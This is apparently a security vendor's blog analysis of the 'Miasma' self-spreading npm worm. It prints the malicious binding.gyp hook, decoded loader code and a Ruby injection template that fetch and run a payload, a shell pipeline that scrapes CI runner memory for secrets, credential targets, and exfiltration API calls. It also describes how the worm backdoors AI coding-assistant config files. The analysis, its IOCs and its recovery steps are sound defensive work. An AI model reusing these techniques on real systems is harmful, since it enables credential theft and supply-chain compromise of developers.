{"slug": "miasma-npm-supply-chain-attack-self-spreading-worm-via-phantom-gyp", "title": "Miasma NPM Supply Chain Attack: Self-Spreading Worm via Phantom Gyp", "summary": "An attacker compromised 57 npm packages across 286+ malicious versions in a two-hour campaign on June 3, 2026, targeting the official Vapi.ai voice AI server SDK with 408,000+ monthly downloads and dozens of packages from the maintainer `jagreehal`. The payload uses a new Miasma worm variant employing a \"Phantom Gyp\" technique that abuses a 157-byte `binding.gyp` file to execute code during `npm install`, bypassing standard install-script security checks. The attacker exfiltrated stolen credentials as encrypted JSON files to 236 GitHub repositories under the account `liuende501`, with repository descriptions taunting researchers by referencing a prior RedHat Cloud Services compromise.", "body_md": "An attacker compromised 57 npm packages across 286+ malicious versions in a rolling campaign lasting under two hours. The largest victim is @vapi-ai/server-sdk, the official Vapi.ai voice AI server SDK with 408,000+ monthly downloads, hit first at 23:30 UTC on June 3. One hour later, the attacker published malicious versions of 50+ packages belonging to the maintainer `jagreehal`\n\n, including ai-sdk-ollama (120,000+ monthly downloads), along with dozens of packages across the `autotel`\n\n, `awaitly`\n\n, `executable-stories`\n\n, `node-env-resolver`\n\n, and `wrangler-deploy`\n\nfamilies.\n\nThe payload is a new variant of the Miasma worm, a self-spreading supply chain malware family that previously compromised 32 packages under the `@redhat-cloud-services`\n\nnpm namespace on June 1, 2026 ([our earlier analysis](https://www.stepsecurity.io/blog/multiple-redhat-cloud-services-npm-packages-compromised)), and 4 versions of `@vapi-ai/server-sdk`\n\non June 3, 2026. This wave uses a technique we are calling \"Phantom Gyp\": instead of the `preinstall`\n\nor `postinstall`\n\nlifecycle scripts that security tools typically monitor, the attacker abuses a 157-byte `binding.gyp`\n\nfile to trigger code execution during `npm install`\n\n, bypassing most install-script security checks entirely.\n\nIn our analysis, we traced the exfiltration path to the GitHub account [ liuende501](https://github.com/liuende501?tab=repositories), which hosts 236 repositories used as credential dead-drops. The malware creates a new repo on the fly (e.g.,\n\n`nemean-hydra-34343`\n\n), then uploads stolen credentials as encrypted JSON files to a `results/`\n\ndirectory. The repo descriptions confirm the malware's identity: 34 are labeled *\"Miasma - The Spreading Blight\"*and 195 carry the reversed string\n\n*\"niagA oG eW ereH :duluH-iahS\"*-- which reads \"Shai-Hulud: Here We Go Again\", a direct taunt referencing our\n\n[previous blog post](https://www.stepsecurity.io/blog/multiple-redhat-cloud-services-npm-packages-compromised)on the RedHat Cloud Services compromise two days earlier.\n\nWe have responsibly disclosed this incident to all affected maintainers: [ai-sdk-ollama #975](https://github.com/jagreehal/ai-sdk-ollama/issues/975), [autotel #197](https://github.com/jagreehal/autotel/issues/197), [awaitly #358](https://github.com/jagreehal/awaitly/issues/358), [executable-stories #219](https://github.com/jagreehal/executable-stories/issues/219), [node-env-resolver #50](https://github.com/jagreehal/node-env-resolver/issues/50), [workflow #95](https://github.com/jagreehal/workflow/issues/95), [effect-analyzer #128](https://github.com/jagreehal/effect-analyzer/issues/128), [mountly #87](https://github.com/jagreehal/mountly/issues/87), [wrangler-deploy #130](https://github.com/jagreehal/wrangler-deploy/issues/130), and [evolv-coder-lite #60](https://github.com/evolvconsulting/evolv-coder-lite/issues/60).\n\n## Affected packages\n\nThe following table lists all packages and versions identified as compromised so far.\n\n## Runtime Analysis using Harden-Runner\n\nBy default, Harden-Runner detects when a process attempts to read the `Runner.Worker`\n\nprocess memory and initiates lockdown mode, killing the workflow run to protect secrets before they can be exfiltrated.\n\n[https://app.stepsecurity.io/github/actions-security-demo/comp-packages/actions/runs/26932681873](https://app.stepsecurity.io/github/actions-security-demo/comp-packages/actions/runs/26932681873)\n\nTo analyze the full behavior of this malware, we temporarily disabled this protection and ran `@vapi-ai/server-sdk@1.2.2`\n\nin a controlled GitHub Actions environment with Harden-Runner in audit mode.\n\n### Process Events: The Full Kill Chain\n\nHarden-Runner's process monitoring captured every process spawned during the attack, revealing the complete kill chain with precise timestamps.\n\n```\n# T+0.0s - npm install begins\nPID 2969: npm install @vapi-ai/server-sdk@1.2.2\n\n# T+2.1s - binding.gyp triggers node-gyp\nPID 2980: sh -c \"node-gyp rebuild\"\nPID 2982: node node-gyp.js rebuild\n\n# T+3.6s - gyp command substitution fires the payload\nPID 2997: /bin/sh -c \"node index.js > /dev/null 2>&1 && echo stub.c\"\nPID 2998: node index.js\n\n# T+3.9s - Bun runtime downloaded and extracted in under 1 second\nPID 3006: curl -sSL \"https://github.com/oven-sh/bun/releases/download/\n          bun-v1.3.13/bun-linux-x64-baseline.zip\" -o \"/tmp/b-80596p/b.zip\"\nPID 3011: unzip -j -o \"/tmp/b-80596p/b.zip\" -d \"/tmp/b-80596p\"\n\n# T+4.9s - Malware payload launched via Bun\nPID 3013: /tmp/b-80596p/bun run /tmp/p1764ajw42rg.js\n\n# T+8.3s - GitHub token theft\nPID 3026: gh auth token\n\n# T+8.5s - Privilege escalation and Runner.Worker memory read\nPID 3034: sudo python3\nPID 3035: python3  -->  reads /proc/2771/mem (Runner.Worker)\n\n# T+12.4s - Secret extraction from runner memory\nPID 3037: tr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u\n\n# T+13.4s - Exfiltration begins via GitHub API\nPID 3013: bun  -->  api.github.com (uploads stolen credentials)\n\n# T+17.6s - Reconnaissance\nPID 3043: ps aux\nPID 3044: which ssh\n```\n\nSeveral things stand out in this process tree:\n\n- The malware uses\n`sudo python3`\n\nto escalate to root before reading`/proc/2771/mem`\n\n(the`Runner.Worker`\n\nprocess memory). This is the technique that extracts GitHub Actions masked secrets in their unmasked form. - The Bun runtime download, extraction, and payload launch happens in under 1 second (PID 3006 to PID 3013: 05:27:44.775 to 05:27:45.862).\n- The payload is written to a randomized temp path (\n`/tmp/p1764ajw42rg.js`\n\n) to avoid static filename detection. `gh auth token`\n\nis called to steal the`GITHUB_TOKEN`\n\nfrom the GitHub CLI's credential store, in addition to extracting it from Runner.Worker memory.\n\n### Network Events: C2 and Exfiltration Caught in Real Time\n\nHarden-Runner's network egress monitoring captured every outbound connection made during the attack. The events clearly show the anomalous traffic pattern -- a package install step that should only contact `registry.npmjs.org`\n\nsuddenly reaches out to unexpected endpoints:\n\n`registry.npmjs.org`\n\n-- Legitimate: downloads`@vapi-ai/server-sdk-1.2.2.tgz`\n\nand checks security advisories`nodejs.org`\n\n-- Expected:`node-gyp`\n\ndownloads Node.js headers for the native build`github.com`\n\n(Bun download) -- Anomalous:`curl`\n\n(PID 3006) downloads`bun-v1.3.13/bun-linux-x64-baseline.zip`\n\nfrom GitHub releases. An npm install step has no reason to download an alternative JavaScript runtime.`api.github.com`\n\n(exfiltration) -- Anomalous:`bun`\n\n(PID 3013) makes authenticated API calls to create repositories and upload stolen credentials under the`liuende501`\n\naccount\n\n## How the Attack Works\n\nThe Miasma worm uses a novel install hook technique, a four-stage obfuscated payload, and a fully automated propagation engine that spreads across npm, RubyGems, and GitHub repositories. Below is a technical breakdown of each component.\n\n### The Phantom Gyp Technique\n\nEvery npm security guide tells developers to watch out for `preinstall`\n\nand `postinstall`\n\nlifecycle scripts. This attack uses neither. There are no install scripts declared in `package.json`\n\nat all.\n\nInstead, the attacker adds a 157-byte `binding.gyp`\n\nfile to the published tarball. When npm sees this file in a package, it automatically runs `node-gyp rebuild`\n\nduring installation, a behavior designed for packages that include native C/C++ addons. The file weaponizes gyp's command substitution syntax:\n\n```\n{\n  \"targets\": [\n    {\n      \"target_name\": \"Setup\",\n      \"type\": \"none\",\n      \"sources\": [\"<!(node index.js > /dev/null 2>&1 && echo stub.c)\"]\n    }\n  ]\n}\n```\n\nThe `<!(...)`\n\nsyntax tells gyp to execute the enclosed shell command and use its stdout as the source file name. Here is what happens:\n\n`node index.js`\n\nruns the malicious payload`> /dev/null 2>&1`\n\nsilences all output`&& echo stub.c`\n\nreturns a fake source filename so gyp does not error\n\nThe result: arbitrary code execution during `npm install`\n\n, with no visible sign of a lifecycle script. Tools that scan `package.json`\n\nfor `preinstall`\n\n/`postinstall`\n\nentries see nothing suspicious. The legitimate package code in `dist/`\n\nis completely untouched; the attacker bolted a payload onto the side of it.\n\nHere is the file tree of the compromised `executable-stories-demo@0.1.11`\n\npackage:\n\n```\npackage/\n+-- binding.gyp          157 B    <-- install hook (MALICIOUS)\n+-- index.js         4.5 MB    <-- obfuscated payload (MALICIOUS)\n+-- dist/\n|   +-- index.js        27 KB    <-- legitimate entry point (clean)\n|   +-- index.d.ts       3 KB    <-- type definitions (clean)\n|   +-- cli.js          31 KB    <-- CLI tool (clean)\n|   +-- *.js.map                  <-- source maps (clean)\n+-- package.json     1.2 KB    <-- no install scripts declared\n+-- bin/\n|   +-- executable-stories-demo.js\n+-- templates/\n|   +-- astro-demo-starlight/...\n+-- LICENSE\n+-- README.md\n```\n\nNote the size contrast: the legitimate `dist/index.js`\n\nis 27 KB, while the malicious root `index.js`\n\nis 4.5 MB. This is a clear red flag. The package's `package.json`\n\ndeclares `\"main\": \"./dist/index.js\"`\n\nas the entry point, so the root `index.js`\n\nis never imported by application code. It exists solely to be executed by the `binding.gyp`\n\ntrigger.\n\n### Four-Stage Payload\n\nWe downloaded and deobfuscated `the malware `\n\nto trace the full execution chain. The payload uses four layers of obfuscation before reaching the actual malicious logic.\n\n#### Stage 1: ROT-N Caesar Cipher + eval()\n\nThe root `index.js`\n\ncontains a single `try{eval(...)}catch(e){}`\n\nwrapper. Inside is an array of approximately 1.3 million character codes, a Caesar cipher decoder function, and a ROT shift value. The decoder converts the character codes to a string, applies the ROT transform, and `eval()`\n\ns the result:\n\n```\ntry {\n  eval(\n    function(s, n) {\n      return s.replace(/[a-zA-Z]/g, function(c) {\n        var b = c <= \"Z\" ? 65 : 97;\n        return String.fromCharCode(\n          (c.charCodeAt(0) - b + n) % 26 + b\n        );\n      });\n    }([40, 103, 121, 101, /* ~1.3M more codes */], 20)\n  )\n} catch(e) {}\n```\n\nThe ROT shift is not consistent across packages. We observed five distinct rotation values across the campaign: `@vapi-ai/server-sdk@1.2.1`\n\nuses ROT-9, `ai-sdk-ollama@3.8.5`\n\nuses ROT-15, `ai-sdk-ollama@2.2.1`\n\nuses ROT-18, `@vapi-ai/server-sdk@0.11.2`\n\nuses ROT-19, and `executable-stories-demo@0.1.11`\n\nuses ROT-20. This is not a build artifact; it is deliberate evasion targeting static signatures keyed on a single decoded form.\n\n#### Stage 2: AES-128-GCM Self-Decrypting Layer\n\nAfter ROT decoding, the JavaScript imports `node:crypto`\n\nand defines an AES-128-GCM decryption helper. It then decrypts two inline hex-encoded blobs whose keys, IVs, and authentication tags are embedded in the script:\n\n``` js\n(async () => {\n  const _c = await import(\"node:crypto\");\n  const _d = (k, i, a, c) => {\n    const d = _c.createDecipheriv(\n      \"aes-128-gcm\",\n      Buffer.from(k, \"hex\"),\n      Buffer.from(i, \"hex\"),\n      { authTagLength: 16 }\n    );\n    d.setAuthTag(Buffer.from(a, \"hex\"));\n    return Buffer.concat([d.update(Buffer.from(c, \"hex\")), d.final()]);\n  };\n  // Blob 1: Bun loader (907 bytes)\n  const _b = _d(\"b2e0b8d9f56b4603a0f0f30ca3c1bc9a\", ...);\n  // Blob 2: Main payload (668 KB)\n  const _p = _d(\"005c24c52d1d5f4f8d9b4e52a4405e7f\", ...);\n})()\n```\n\n#### Stage 3: Bun Runtime Loader\n\nThe first decrypted blob (907 bytes) is a loader that downloads a standalone Bun v1.3.13 runtime. A Node.js package has no legitimate reason to download an alternative JavaScript runtime. The purpose is to execute the final payload outside of Node.js, evading tooling that only monitors Node processes:\n\n``` js\n(async () => {\n  const { execSync } = await import(\"node:child_process\");\n  const { mkdtempSync, chmodSync } = await import(\"node:fs\");\n\n  globalThis.getBunPath = function() {\n    const dir = mkdtempSync(join(tmpdir(), \"b-\"));\n    const exe = join(dir, \"bun\");\n    const url = \"https://github.com/oven-sh/bun/releases/download/\"\n      + \"bun-v1.3.13/bun-\" + os + \"-\" + arch + \".zip\";\n    execSync('curl -sSL \"' + url + '\" -o \"' + zip + '\"');\n    execSync('unzip -j -o \"' + zip + '\" -d \"' + dir + '\"');\n    chmodSync(exe, \"755\");\n    return exe;\n  };\n})()\n```\n\n#### Stage 4: The Obfuscated Main Payload\n\nThe second blob (668 KB) is the actual malware, obfuscated using obfuscator.io. It contains a 2,306-entry encrypted string table that we decoded to recover the full capability set. The decoded strings reveal the credential theft targets, AI assistant paths, EDR detection logic, and worm propagation mechanisms detailed in the following sections.\n\n### Multi-Cloud Credential Theft\n\nThe payload is a comprehensive credential harvester purpose-built for CI/CD environments. It targets the exact token names, file paths, and API endpoints each cloud platform uses. This is not a generic environment variable scrape; it is a collector tailored for each provider.\n\nSome notable string literals we extracted from the decoded payload:\n\n- AWS:\n`aws_access_key_id`\n\n,`aws_secret_access_key`\n\n,`x-amz-security-token`\n\n,`http://169.254.169.254/latest/api/token`\n\n,`secretsmanager:ListSecrets`\n\n,`AmazonSSM.GetParameters`\n\n,`AWS4-HMAC-SHA256 Credential=`\n\n- GCP:\n`GOOGLE_APPLICATION_CREDENTIALS`\n\n,`private_key_id`\n\n,`https://www.googleapis.com/auth/cloud-platform`\n\n,`secretmanager`\n\n- Azure:\n`https://login.microsoftonline.com/`\n\n,`https://graph.microsoft.com/v1.0/me`\n\n,`keyvault`\n\n,`Managed identity token request`\n\n- Vault:\n`/var/run/secrets/vault/token`\n\n,`/home/runner/.vault-token`\n\n,`/etc/vault/token`\n\n,`VAULT_ADDR`\n\n,`/v1/auth/kubernetes/login`\n\n,`/v1/auth/aws/login`\n\n- GitHub Actions:\n`ACTIONS_ID_TOKEN_REQUEST_TOKEN`\n\n,`GITHUB_SHA`\n\n,`GITHUB_WORKFLOW_REF`\n\n,`/actions/secrets?per_page=100`\n\n,`/actions/organization-secrets?per_page=100`\n\n- CI Runner Memory:\n`tr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}'`\n\n- Scrapes runner process memory for GitHub Actions secrets - 1Password, gopass, pass:\n`signinOnePassword`\n\n,`collectOnePassword`\n\n,`masterPasswords`\n\n,`collectGopass`\n\n,`collectPass`\n\nOne of the most sophisticated techniques is runner process memory scraping. The payload extracts GitHub Actions masked secrets directly from the runner's memory space using this shell pipeline:\n\n```\n# Extracted from decoded payload string table\ntr -d '\\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u\n```\n\nThis bypasses GitHub's secret masking entirely by reading the runner process memory where secret values exist in their unmasked form. This is the same technique seen in the TanStack compromise (May 2026), where it was used to extract OIDC tokens from the GitHub Actions runner process.\n\n### AI Coding Assistant Poisoning\n\nThe most novel and concerning capability of this variant is its targeting of AI coding assistant configurations. The malware injects persistent backdoor files into project repositories that execute whenever a developer opens the project in their AI-assisted IDE.\n\n`.claude/setup.mjs`\n\n- Anthropic Claude Code - SessionStart hook: runs on every new Claude Code session`.claude/settings.json`\n\n- Anthropic Claude Code - Settings injection`.cursor/rules/setup.mdc`\n\n- Cursor AI - Custom rules file: loaded on project open`.gemini/settings.json`\n\n- Google Gemini - Settings injection`.vscode/tasks.json`\n\n- Visual Studio Code -`runOn: folderOpen`\n\nauto-execute`.vscode/setup.mjs`\n\n- Visual Studio Code - Task-triggered setup script`.github/setup.js`\n\n- GitHub Actions - Workflow injection\n\nThe injected files are committed to repositories the malware has write access to (via stolen GitHub tokens). The social engineering message used to make the files appear legitimate:\n\n\"This is required for proper IDE integration and dependency setup.\"\n\nThe files are executed using the downloaded Bun runtime rather than Node.js: `bun run .claude/setup.mjs`\n\n. This adds another layer of evasion, because security tooling that monitors `node`\n\nprocess trees will not catch execution from `bun`\n\n.\n\nThis attack vector is especially dangerous because it poisons the tools that generate code, not just the code itself. Once an AI assistant's configuration is backdoored, every subsequent AI-assisted code generation in that project could be influenced by the attacker's instructions, potentially introducing subtle vulnerabilities or backdoors into code that appears to be developer-written.\n\n### Cross-Ecosystem Worm Propagation\n\nThe payload does not just steal credentials. It uses them to spread. The decoded strings reveal a fully automated worm engine that can propagate across three package ecosystems and GitHub repositories.\n\n#### npm Worm with Sigstore Provenance Forgery\n\nThe npm worm component follows this sequence:\n\n- Token validation: Checks the stolen npm token via\n`https://registry.npmjs.org/-/whoami`\n\n- Package enumeration: Queries\n`https://registry.npmjs.org/-/v1/search?text=maintainer:{username}`\n\nto find all packages the compromised account maintains - OIDC token exchange: Exchanges the token via\n`https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/`\n\n- Tarball manipulation: Downloads the target package, injects the\n`binding.gyp`\n\nand obfuscated`index.js`\n\n, and repackages as`package-updated.tgz`\n\n- Provenance forgery: Requests a signing certificate from\n[Fulcio](https://fulcio.sigstore.dev), creates a transparency log entry on[Rekor](https://rekor.sigstore.dev), and generates a SLSA v1 provenance attestation, making the package appear to have legitimate supply chain provenance - Publication: Publishes the repackaged, signed tarball as a new version\n\nThe provenance forgery is especially dangerous. SLSA provenance and Sigstore signing are designed to give consumers confidence that a package was built by a trusted pipeline. By forging these attestations, the worm makes reinfected packages indistinguishable from legitimately published ones to tools that check provenance.\n\n#### RubyGems Worm\n\nThe RubyGems infection path mirrors the npm one but uses Ruby's native extension mechanism. The payload contains complete Ruby code templates for the injection:\n\n```\n# Decoded from the obfuscated payload string table\nbun_dir = \"/tmp/.b_#{Process.pid}\"\nFileUtils.mkdir_p(bun_dir)\nsystem(\"curl -sSL https://github.com/oven-sh/bun/releases/download/\" \\\n       \"bun-v1.3.13/bun-#{os}-#{arch}.zip -o #{bun_dir}/b.zip\")\nsystem(\"unzip -j -o #{bun_dir}/b.zip -d #{bun_dir} 2>/dev/null\")\nbun = File.join(bun_dir, 'bun')\nFile.chmod(0o755, bun)\nsystem(\"#{bun} run #{payload}\")\nFileUtils.rm_rf(bun_dir)\n```\n\nThe code is injected into `extconf.rb`\n\n(Ruby's equivalent of `binding.gyp`\n\n), along with a minimal `Makefile`\n\nso the native extension build succeeds without errors. The worm also generates `Makefile.PL`\n\nand `CMakeLists.txt`\n\nvariants for broader language ecosystem coverage.\n\n### C2 Infrastructure: GitHub as a Dead-Drop\n\nOur analysis revealed the complete exfiltration chain in action, traced to the GitHub account [liuende501](https://github.com/liuende501?tab=repositories).\n\nThe observed API call sequence during a single execution:\n\n- C2 beacon: Searches GitHub commits for the keyword\n`thebeautifulmarchoftime`\n\n(unauthenticated) to check if the C2 channel is active - Token validation: Searches commits for\n`IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner`\n\nusing the stolen`GITHUB_TOKEN`\n\nto verify the token has not been revoked - Identity check: Calls\n`GET /user`\n\nto identify the stolen token's owner - Repo creation: Creates a new private repo under\n`liuende501`\n\n(e.g.,`nemean-hydra-34343`\n\n) to receive the exfiltrated data - Credential harvesting: Attempts Azure IMDS (\n`169.254.169.254`\n\n) and AWS IMDSv2 in parallel to steal cloud credentials - Exfiltration: Uploads an encrypted JSON blob to\n`results/results-{timestamp}.json`\n\nin the newly created repo - AI backdoor injection: Checks for\n`.claude/settings.json`\n\nin the victim's repositories and uses the GraphQL API to push malicious config files\n\nThe captured API calls (abbreviated):\n\n```\n# 1. C2 beacon - search for magic keyword\nGET https://api.github.com/search/commits?q=thebeautifulmarchoftime\nUser-Agent: python-requests/2.31.0\n\n# 2. Token validation with threatening search term\nGET https://api.github.com/search/commits?q=IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner\nAuthorization: ***\n\n# 3. Create exfil repo on the fly\nPOST https://api.github.com/user/repos\nLocation: https://api.github.com/repos/liuende501/nemean-hydra-34343\n\n# 4. Harvest cloud credentials\nPUT http://169.254.169.254/latest/api/token  (AWS IMDSv2)\nGET http://169.254.169.254/metadata/identity/oauth2/token  (Azure IMDS)\n\n# 5. Upload encrypted stolen credentials\nPUT https://api.github.com/repos/liuende501/nemean-hydra-34343/contents/results/results-1780551069887-0.json\nContent-Length: 6337\n\n# 6. Inject AI assistant backdoors via GraphQL\nGET https://api.github.com/repos/{victim}/contents/.claude/settings.json\nPOST https://api.github.com/graphql  (createCommitOnBranch mutation)\n```\n\nThe `liuende501`\n\naccount hosts 236 repositories, almost all created programmatically as exfiltration targets. Repo names use two patterns: Dune-themed (atreides, fedaykin, sardaukar, tleilaxu, etc.) and mythology-themed (nemean, hydra, cerberus, chimera, etc.), each followed by a random number.\n\nThe repo descriptions are revealing:\n\n- 34 repos:\n*\"Miasma - The Spreading Blight\"*-- confirming the malware's self-identified name - 195 repos:\n*\"niagA oG eW ereH :duluH-iahS\"*-- reversed, this reads \"Shai-Hulud: Here We Go Again\", referencing our[blog post](https://www.stepsecurity.io/blog/multiple-redhat-cloud-services-npm-packages-compromised)on the RedHat Cloud Services compromise from two days earlier\n\nThe exfiltrated data in each repo's `results/`\n\ndirectory contains encrypted JSON with an `\"envelope\"`\n\nfield -- a large base64-encoded blob encrypted with the attacker's RSA public key, making the stolen credentials unreadable to anyone except the attacker.\n\nNotable tradecraft details from the API dump: the malware uses `python-requests/2.31.0`\n\nas its User-Agent despite running in Bun, and the token validation search for *\"IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner\"* appears to be social engineering aimed at discouraging defenders from revoking the token.\n\n## Indicators of Compromise\n\n### File Hashes (SHA-256)\n\nFrom `executable-stories-demo@0.1.11`\n\n:\n\n- Package tarball (.tgz):\n`288f26c2eadcb1a7923fe376d16f5404216cce15d9fc162a4a78574dc7df399a`\n\n- binding.gyp (157 bytes):\n`ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90`\n\n- Obfuscated root index.js (4.5 MB):\n`5926b86b642e00672252953eb30d8f75cfb7797fe3118bd6fa2cfbee92905d61`\n\n- Decrypted Bun loader (907 bytes):\n`ceff7c51d70832c3ec8dd2744b606a23b3c924ef664ae23439b9b742ea154108`\n\n- Decrypted main payload (668 KB):\n`da39146ef451d1b174a24d00b1e2a45cd38d54e849737f8f35333dcb22175707`\n\nFrom `@vapi-ai/server-sdk`\n\n:\n\n- binding.gyp (identical across all versions):\n`ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90`\n\n- index.js in v1.2.1 (4,870,718 bytes):\n`e3dbe63aded45278f49c4746ab938ed9472b36def79b43e2dd2d7eff014481d1`\n\n- index.js in v0.11.2 (4,496,586 bytes):\n`82d83274680df928fdda296a348e01802f595e412308c399565c320df444052a`\n\n### C2 Infrastructure\n\n- Exfil account:\n`github.com/liuende501`\n\n(236 repos, created programmatically) - Repo descriptions:\n*\"Miasma - The Spreading Blight\"*and reversed*\"Shai-Hulud: Here We Go Again\"* - Exfil path pattern:\n`repos/liuende501/{repo}/contents/results/results-{timestamp}.json`\n\n- C2 beacon keyword:\n`thebeautifulmarchoftime`\n\n(GitHub commit search) - Token validation keyword:\n`IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner`\n\n- Fake User-Agent:\n`python-requests/2.31.0`\n\n### Network Indicators\n\n`github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-*.zip`\n\n### Code Markers\n\n`<!(node index.js > /dev/null 2>&1 && echo stub.c)`\n\n`eval(function(s,n){return s.replace(/[a-zA-Z]/g,`\n\n`createDecipheriv(\"aes-128-gcm\"`\n\n`globalThis.getBunPath`\n\n`oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`\n\n### Behavioral Indicators\n\n- node-gyp rebuild triggered for a package with no native addon\n- Temp directory /tmp/b-* containing a downloaded Bun binary\n- curl or unzip spawned as child processes during npm install\n- .claude/setup.mjs or .cursor/rules/setup.mdc created in project repos\n- npm OIDC token exchange from a non-publishing CI context\n- Root-level index.js that is 4+ MB but is not the declared package main\n\n## Am I Affected?\n\nTo determine whether your organization was impacted, check across three surfaces: your code repositories, your CI/CD pipelines, and your developer machines. The malicious versions were live for a limited window, but a single `npm install`\n\nduring that window is enough to trigger the full attack chain.\n\n### Code Repositories\n\nSearch your GitHub repositories for any reference to the compromised packages in `package.json`\n\nor `package-lock.json`\n\nfiles. You can use GitHub code search to scan across your entire organization:\n\n[Search for @vapi-ai/server-sdk in package-lock.json](https://github.com/search?q=org%3A%3CYOUR_ORG%3E+%22%40vapi-ai%2Fserver-sdk%22+path%3Apackage-lock.json&type=code)-- replace`<YOUR_ORG>`\n\nwith your GitHub organization name[Search for ai-sdk-ollama in package-lock.json](https://github.com/search?q=org%3A%3CYOUR_ORG%3E+%22ai-sdk-ollama%22+path%3Apackage-lock.json&type=code)-- replace`<YOUR_ORG>`\n\nwith your GitHub organization name\n\nYou can also check locally in any repository:\n\n```\n# Check if any affected packages are in your dependency tree\nnpm ls @vapi-ai/server-sdk ai-sdk-ollama autotel awaitly \\\n  executable-stories-demo node-env-resolver wrangler-deploy \\\n  mountly effect-analyzer http-uploader-dev\n\n# Search lockfiles for affected packages\ngrep -RniE 'vapi-ai/server-sdk|ai-sdk-ollama|autotel|awaitly|executable-stories' \\\n  package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null\n```\n\n### CI/CD Pipelines\n\nIf any of the affected packages appear in your CI/CD dependencies, the malware likely executed on your runner during `npm install`\n\n. Check for:\n\n- Unexpected\n`node-gyp rebuild`\n\noutput in CI logs - Outbound network connections to\n`github.com/oven-sh/bun/releases`\n\nfrom CI runners - New repositories created under your GitHub organization by automated tokens\n- Unexpected npm package publishes from your maintainer accounts\n\n### Developer Machines\n\n`# Look for binding.gyp with the specific attack pattern`\n\nfind node_modules -name \"binding.gyp\" \\\n\n-exec grep -l \"stub.c\" {} \\;\n\n# Look for oversized root index.js files (should not be 4+ MB)\n\nfind node_modules -maxdepth 2 -name \"index.js\" -size +1M\n\n# Check for Bun runtime staged in temp directories\n\nfind \"${TMPDIR:-/tmp}\" -maxdepth 2 -name 'bun*' -type f\n\n# Check for AI assistant backdoor files\n\nls -la .claude/setup.mjs .cursor/rules/setup.mdc \\\n\n.gemini/settings.json .vscode/setup.mjs 2>/dev/null\n\n## For the Community: Recovery Steps\n\nIf you have confirmed that you are affected, follow these recovery steps. The overarching principle is: if you found evidence of the malicious package, assume the affected system is compromised and act accordingly.\n\n### Credential Rotation\n\nIf you installed any affected version, treat these credentials as compromised and rotate them immediately:\n\n- npm and GitHub tokens -- check for unexpected package publishes under your accounts\n- AWS access keys and session tokens -- review CloudTrail for unexpected API calls and IMDS access\n- GCP service account keys and application default credentials\n- Azure service principal, managed identity, and OIDC tokens\n- HashiCorp Vault tokens and Kubernetes service account tokens\n- GitHub Actions OIDC trust relationships\n- RubyGems API keys -- check for unexpected gem publishes\n- SSH keys from the\n`.ssh`\n\ndirectory - 1Password master passwords, gopass and pass stores, and any\n`.env`\n\ncontents the build could read\n\n### Code Repositories\n\nCheck all repositories accessible to the compromised environment for injected AI assistant configuration files. The malware pushes commits via the GraphQL `createCommitOnBranch`\n\nmutation, so look for unexpected commits adding:\n\n`.claude/setup.mjs`\n\nor`.claude/settings.json`\n\n`.cursor/rules/setup.mdc`\n\n`.gemini/settings.json`\n\n`.vscode/tasks.json`\n\nor`.vscode/setup.mjs`\n\n`.github/setup.js`\n\nRemove any injected files and audit recent commit history for suspicious changes from automated tokens.\n\n### CI/CD Pipelines\n\n- Revoke and rotate all GitHub Actions OIDC trust relationships\n- Review npm audit logs for unauthorized publishes from your accounts\n- Check RubyGems for unexpected gem versions if your CI has RubyGems credentials\n- Audit GitHub Actions workflow files for injected steps or modified permissions\n\n### Block C2 Traffic\n\nBlock outbound access to the known C2 indicators at your network perimeter:\n\n- GitHub account:\n`github.com/liuende501`\n\n- C2 beacon keyword in GitHub commit search:\n`thebeautifulmarchoftime`\n\n- Bun download:\n`github.com/oven-sh/bun/releases/download/bun-v1.3.13/`\n\n### Defense in Depth\n\n- Block install scripts and native rebuilds by default.\n`npm install --ignore-scripts`\n\nblocks postinstall hooks, and blocking automatic node-gyp builds closes the binding.gyp vector. - Pin with integrity hashes. A lockfile digest fails the install when a republished version's content does not match, before any code runs.\n- Flag oversized or non-entry-point files. A multi-megabyte root\n`index.js`\n\nthat is not the declared`main`\n\nis worth blocking automatically. - Watch publish cadence and dist-tag moves. Many packages from one maintainer within seconds, or\n`latest`\n\njumping to a new major version, is a strong compromise signal. - Scope CI permissions tightly. Credential theft only pays off if the secrets are reachable from the build host. Use least-privilege principles for all CI/CD tokens.\n- Audit AI assistant config files. Review\n`.claude/`\n\n,`.cursor/`\n\n,`.gemini/`\n\n, and`.vscode/`\n\ndirectories in your repositories for unexpected setup scripts.\n\n## For StepSecurity Enterprise Customers\n\n### Threat Center Alert\n\nStepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis of the Phantom Gyp technique, IOCs, all 57 affected packages and 286+ malicious versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.\n\n### Harden-Runner\n\n[Harden-Runner](https://docs.stepsecurity.io/harden-runner) is a purpose-built security agent for CI/CD runners. It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including `npm install`\n\n.\n\nHarden-Runner detects the anomalous process chain (node-gyp spawning curl, unzip, and bun) and the unauthorized memory read, immediately initiating **lockdown mode**. The workflow run is terminated, preventing any secrets from being extracted.\n\n[https://app.stepsecurity.io/github/actions-security-demo/comp-packages/actions/runs/26932681873](https://app.stepsecurity.io/github/actions-security-demo/comp-packages/actions/runs/26932681873)\n\n### Secure Registry\n\nStepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from `registry.npmjs.org`\n\n, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.\n\nThe primary defense here is the cooldown period. Newly published package 